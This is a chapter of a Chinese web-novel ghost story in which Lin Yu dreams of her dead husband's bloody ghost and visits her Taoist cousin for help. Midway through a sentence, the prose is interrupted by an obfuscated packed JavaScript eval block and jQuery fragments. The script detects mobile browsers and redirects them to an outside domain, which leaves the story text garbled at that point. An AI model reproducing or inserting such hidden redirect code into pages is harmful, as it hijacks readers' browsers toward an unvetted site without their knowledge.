杜影听着这声夫君只觉得刺耳,他慢慢转过身想着这个称呼已经有两三年不曾听见。
生前盼了多久来着……没想到死后才能听见。
不过这一声夫君太难听了,加上林玉的表情挑眉冷笑,语气阴阳。杜影忍不住拧眉,不悦地凝视着林玉,
“我何时有这样的遗愿。”
“是不满意我到现在还占着杜三奶奶的名头,想要我快快给她一个名分是么?”林玉一开始的害怕荡然无存,她扬眉,说话刺刺的。
杜影抿了抿嘴,神情复杂,许久才吐出几个字,“不是。”
安静一会儿,杜影接着说,“我有点不知道你在想什么。”
林玉嘴角的冷笑凝结成冰,长长地哦了一声,才又说道:“两三年不搭话,自然是不知道的。”
杜影:“不是。”
“你为何要抬她进门,我都已经……死了。”
林玉冷哼一声,笑得耸了耸肩。
“妾身已经说了是在完成夫君的遗愿。”这话说的时候林玉也一直在笑,笑意没有温度,落寞的双眼透过杜影盯着微弱的烛火。
林玉自言自语起来,“不是我杀的却来审问我,问的还都是那个外室的事情,这么喜欢她怎么不去找她……”
杜影有些听不清,他看林玉神情很不自然,眼眶发红眼神发怵,嘴唇蠕动呐呐不停。
“林玉,林玉。”杜影上前伸手要搭林玉的肩膀。
可他是鬼,宽大的手掌穿过林玉的身子,林玉晃神楞楞盯着杜影看。
“你何不一开始就娶她,如此,我就不会变得这般,糟糕。”
林玉紧蹙双眉,圆溜的眼睛附着上一层薄薄的水雾。
吧嗒吧嗒泪水掉下来,林玉看着眼前的杜影,模糊,清晰,再模糊,再清晰……反复几次,就是不消失。
忽的林玉从床上起来,双手用力,十指紧绷,朝杜影的脖子猛地探去要掐他。
杜影一动不动,看着林玉穿过自己的身体,重重跌倒在地上。
砰砰的声响打破了寂静的夜。
林玉摔在地上啜泣不止,再次看到杜影五味杂陈……此时此刻杜影会是什么表情,不出意外还是之前那般冷漠,既如此为何来找她。
“你走,你走,别来恶心我。”
林玉擦擦眼泪,呼吸平缓,十分平静地说着。
“你到底在想什么。”
林玉扭头,漠视杜影,“是你到底在想什么。”看着杜影痛苦的神情蓦地一怔。
“旁人都想我死,我不解却无所谓。可你也想我死,我,我便没有办法再骗自己。”杜影皱着眉,眼角滑下红色的泪。
他蹲下身,与林玉四目相对,与她近在咫尺。
杜影哽咽:“你怎么可以盼着我死,你是我的妻,你口口声声说爱我,你怎么可以和他们一样。”
林玉懵懵的,眼神清澈不少,杜影这话说地怎么好像他很在意自己一样。
可是,沐媱怎么说?晟园里的奴仆怎么说?
这些都说不通,唯一说得通的就是杜影掉了脑袋给人换了……这个鬼真的是杜影吗?
林玉顿时不寒而栗,看向杜影的眼神瑟缩几分。
杜影见林玉如此反应,不由苦笑,“现在你也怕我。”
“可是我是为你才来的。”
林玉更懵了,“别胡说,我巴不得你死,恨不得你从我眼前消失。”
一时心急,心里话脱口而出。
只见杜影脸上四行血泪从小溪成江河,一张惨白的脸被红色覆盖,林玉看不见杜影的神情。
“林玉,谁都可以,唯独你不可以。”杜影喃喃道,伸手去抚摸林玉的脸,但是摸不到,“不是你放不下我所以我才再你身边的么。”
林玉看着杜影渐渐变成一个血人,如此真实的出现在自己面前,这一瞬间,林玉恍然发现此时此刻不是梦。
是真的。
“杜影,你在说什么胡话。”
林玉睁大眼睛,微微启齿,双手撑着地面在微微颤抖。
杜影的脸已经面目全非,发出的声音也是呜呜沙哑难听,“林玉,把沐媱赶出去。”
“你不是杜影。”林玉本来还不确定的,现在确认了。
杜影怎么可能会把身怀六甲的沐媱赶出去,要知道新婚之夜他就因为沐媱生了病弃新娘不顾。
林玉可不相信一个人死了就会转性。
林玉看见着杜影一动不动,血泪中那双眼睛沉闷得可怕,眼眸中倒映出自己怀疑的脸。
“把她,赶出去。”
声音越来越远,呼呼呼--风声急促,林玉深吸一口气,兀地睁开眼睛。
她正躺在床上,身上盖着厚重的被子。
“夫人,您醒了。”燕飞端着药走到床边。
林玉快速坐起身,四处张望,寻不到杜影的身影。
林玉急促喘气,一颗心七上八下在胸腔里突突突乱跳。
“夫人,可是还不舒服。”燕飞把药搁置在床边的小四方桌子上,欠身过去把林玉扶起来。
林玉下床后快步在屋子里踱步,里里外外的找。
“夫人,您在找什么东西。”
林玉看一眼燕飞,沉默片刻开口问,“我是睡了么。”
“夫人昨日傍晚就睡了,现在已经是午时了。”燕飞眼神担忧,蹙了蹙眉思索一番才回答。
林玉像是吃了一颗定心丸沉肩而坐,于里屋宽大的红木方椅上,身后是一台高桌,桌上设有香台供奉一尊菩萨。
林玉安静了很久,缓缓转身抬头目光深远盯着那副菩萨挥露图,诗画里菩萨低垂双眼眼神无限慈悲,手上捻着一株仙草,草上露珠凝聚。
啪嗒啪嗒--雨又开始下了。
“燕飞。”
林玉没有动,她有些恍惚。
“如果总梦见一个人,是为什么?”她问。
燕飞想了想,夫人怕是梦见家主了,“老人曾说,日有所思,夜有所梦,许是夫人思念之人。”
“念他……不,没有。”林玉低声说着,“不是他他不会说那种话。”
林玉忽的看向燕飞,“是那日摔了,被山间野鬼纠缠,没错。”
“没错。”林玉先是犹豫,后是确定,很快将自己说服。
她起身拉着燕飞的手,神情若癫,双目惊恐,“我得去永安观,我得去找一个人,他会帮我。”
燕飞楞楞地看着林玉,想起大夫说夫人是恐惧太多身子单薄故而多犯热症,或许……夫人说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507646|170511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的是真的。
“夫人不如吃些东西,奴下去备衣备马。”
闻言林玉松开燕飞的手,木讷地点头说了声好。
换上衣服,戴上斗笠面纱,上马车……林玉好像置身事外,感觉这些事情都不是自己在做,真是要疯了,林玉自己都感觉到她病得不轻。
到底是哪个该死的野鬼,冒充杜影,夜夜入梦纠缠,林玉太阳穴突突地跳,到底寻不到一个由头。
香烟漫漫,道观虚幻,难见虚实。
上山的路泥泞难走,林玉昨夜热症虚脱了津|液,走起路来气喘吁吁。
“夫人,不如让家奴抬轿子。”燕飞皱眉,眼神担忧。
“不必,别叫太多人。”林玉摇摇头,提着裙裾,步子越来越沉重。
好不容易爬上山,却发现永安观大门紧闭,小门上了锁。
“夫人,估摸着是观里的法师出了远门,不如回去?”燕飞小心道。
林玉在门口伫立一会儿,想到每每入梦都会见到杜影,胃里一阵筋|挛。
不行!必须速速将那野鬼除掉。
林玉大步抬脚,至门前,哐哐哐--敲了三下门。
须臾无人回应,林玉便再敲。
一来二回五次,才终于有人来开门。
吱呀呀--
开门的是个年轻男人。
身有八尺,面若秋水,美鬓丈夫,凤眼浓眉,俊美相公。
“这位夫人,何事着急。”
“表哥。”
林玉三岁以前,同母亲借住兖州外公家里,与谢却养在一起。谢却是大房的二儿子,十七中举,二十上山做道士,法号丹明。
丹明闻声,虽不见这妇人面容,却也已经认出这就是表妹林玉。
“快快请进。”丹明拉开门,身子侧到一边。
林玉哎了一声,跟着丹明进去。
燕飞始终低着头,照顾林玉左右。
丹明将林玉带到道观后边一间偏房,房前一颗桂花树,桂花开得零零碎碎,空气里偶尔会出现似有若无的桂花甜香味道。
丹明将门打开,门前两个小童扫水,燕飞止步门外,默默退在一边。
“寻我何事。”丹明见林玉孤身前来,身边不过一个丫鬟,事觉蹊跷。
林玉坐下,垂首不语,许久撩开面纱,露出头上扎眼的伤疤。
“道长可听闻前几日错案一事。”林玉眼眶上不正常的红还未褪去,淡淡的似炎症,在她苍白如纸的脸上显得及其不协调。
乍一看,同死人。
丹明坐到另一侧,看见林玉如今竟变成这副样子,与记忆里恬静可爱、灵动的模样大相径庭。
惊叹之后,呼出一口长气,感慨道:“听说了,实在是可惜。”
话锋一转,对林玉道:“你可千万保重身子,姑妈若是见了你这样免不了心疼。”
“我都知道,只是……”林玉欲言又止,表哥做道士也有三五年了,能否相信自己所言。
“你既来找我,还不能说么?”丹明道。
林玉看着丹明表哥关心的模样,鼻子酸酸的,正要开口。
就看见杜影立在丹明身旁,与丹明目光一致,正直直盯着林玉。
“……回家。”